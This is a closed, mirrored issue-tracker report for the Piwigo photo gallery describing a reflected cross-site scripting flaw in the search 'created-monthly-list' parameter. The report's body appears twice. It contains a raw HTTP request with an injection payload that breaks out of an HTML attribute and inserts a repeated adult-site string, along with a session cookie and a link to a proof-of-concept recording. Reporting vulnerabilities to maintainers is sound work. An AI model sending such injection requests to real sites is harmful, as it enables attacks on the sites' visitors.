adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

XSS-Reflected #1484

New Issue
Closed
opened 2026-10-05 00:45:43 +02:00 by adam · 0 comments
adam commented 2026-10-05 00:45:43 +02:00
Owner
Copy link
Copy source

Hello,

      • Go and fix this stupid thing!

Description:

The value of the /search/1940/created-monthly-list request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks.

Payload:

GET /piwigo/index.php?/search/4863/created-monthly-list%22%3Ehttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcom%3CYZxWX%3E HTTP/1.1
Host: pwned_host.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pwg_id=hctfqtab45adhogo2suhq2mr0c; ssc_phoneSwap=0
Upgrade-Insecure-Requests: 1

PoC:
href

## Hello, - - - Go and fix this stupid thing! ## Description: The value of the /search/1940/created-monthly-list request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. ## Payload: ```java GET /piwigo/index.php?/search/4863/created-monthly-list%22%3Ehttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcomhttps:\pornhubdotcom%3CYZxWX%3E HTTP/1.1 Host: pwned_host.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: pwg_id=hctfqtab45adhogo2suhq2mr0c; ssc_phoneSwap=0 Upgrade-Insecure-Requests: 1 ``` PoC: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/Piwigo/2022/12.3.0/Docs/Pwigo-XSS-Reflected.gif) <!-- github-sync-id:1320820385 -->
adam closed this issue 2026-10-05 00:45:43 +02:00
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1484